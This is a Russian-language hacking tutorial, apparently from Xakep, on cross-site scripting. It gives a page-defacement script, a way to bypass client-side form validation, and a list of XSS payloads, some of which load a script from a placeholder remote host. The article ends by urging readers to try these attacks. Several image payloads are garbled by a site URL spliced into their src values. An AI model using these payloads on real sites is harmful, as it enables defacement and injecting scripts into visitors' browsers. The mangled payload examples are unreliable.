Сейчас много разговоров начет XSS и СSS. Суть проблемы заключается в возможности выполнения сценариев на клиентской машине от имени сервера. В принципе это не большая проблема, но если есть возможность внедрения скрипта/тега на страницу, то вполне реальным
станет и Deface :). Cross Site Scripting довольно интересен и при должном умении может стать опасным оружием... 

Рассмотрим небольшой пример, есть некий сайт на главной странице которого автоматически выкладываются 5 новых тем форума. Если нам удастся внедрить Java Script:

<SCRIPT>
document.open(); 
document.clear(); 
document.write('Hacked by Hack[ER]');
</SCRIPT>

То вместо привычного интерфейса, зайдя на сайт, мы увидим фразу "Hacked by Hack[ER]". Сам
процесс внедрения можно реализовать несколькими способами. Допустим тот сайт проверял наличие тегов
посредством Java Script'а или вообще не проводил никакие проверки. Пример:

..........
<FORM name=addmessage action=addmessage>
<INPUT type=text name=nick>
<INPUT type=password name=pass>
<TEXTAREA name=body></TEXTAREA>
</FORM>
..........

Теперь мы знаем что проверок скриптами нет. Посмотрим на такой вариант

..........
<FORM name=addmessage action=addmessage onSubmit='CheckForm()'>
<INPUT type=text name=nick>
<INPUT type=password name=pass>
<TEXTAREA name=body></TEXTAREA>
</FORM>
..........

Вся разница в том, что теперь проверка производится скриптом. Большей разницы нет, просто надо сохранить страницу на
компьютер, прописать полный путь к скрипту и убрать проверку.
То есть свести к такому виду:

..........
<FORM name=www.host.com/cgi-bin/addmessage action=addmessage>
<INPUT type=text name=nick>
<INPUT type=password name=pass>
<TEXTAREA name=body></TEXTAREA>
</FORM>
..........

или в адресной строке браузера прописать следующий URL:

www.host.com/cgi-bin/addmessage?nick=nick&pass=pass&body=body

таким способом мы задали значения полей равные их названию.
Дальше я просто приведу список различных тегов,
выполняющих одинаковые действия -
выводящие сообщения "XSS":

<SCRIPT>alert('XSS')</SCRIPT>

<SCRIPT src="http://www.host.com/script.js"></SCRIPT>
(http://www.host.com/script.js путь к внедренному скрипту)

<BODY onLoad="alert('XSS')">

<LAYER src="http://www.host.com/script.js"></LAYER>
(http://www.host.com/script.js путь к внедренному скрипту)

<ILAYER src="http://www.host.com/script.js"></ILAYER>
(http://www.host.com/script.js путь к внедренному скрипту)

<LINK rel=stylesheet type="text/javascript" SRC="http://www.host.com/script.js">
(http://www.host.com/script.js путь к внедренному скрипту)

<IMG src="https://xakep.ru/wp-content/uploads/post/15927/image.jpg" onError="alert('XSS')">
(image.jpg не существует)

<IMG src="https://xakep.ru/wp-content/uploads/post/15927/JavaScript:alert('XSS')">

<IMG src="https://xakep.ru/wp-content/uploads/post/15927/image.jpg" onLoad="alert('XSS')">
(image.jpg существует)

<META HTTP-EQUIV="Refresh" content ="1; URL=JavaScript:alert('XSS')"> 

<STYLE TYPE="text/css"> 
@import url(http://www.host.com/script.js); 
</STYLE>
(http://www.host.com/script.js путь к внедренному скрипту)

<STYLE type="text/javascript">alert('XSS');</STYLE>

<p style="left:expression(eval('alert(\'XSS\')'))">

Не надо забывать, что все проверки должны проводится на сервере, и возможно
сработают не все теги или ни один 🙂 Но иногда бывает так, что проверке поддаются только некоторые данные, а не все,
тут вам поможет только практика... 

Можно попробывать и следующее:

<img src="https://xakep.ru/wp-content/uploads/post/15927/vbscript:code here">
<img src="https://xakep.ru/wp-content/uploads/post/15927/mocha:code here"> 

Бывает, что попытки станут удачными после внедрения тегов в юникоде...
Вспомните хотя бы ISS Uncode Bug... 

Дерзайте!

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии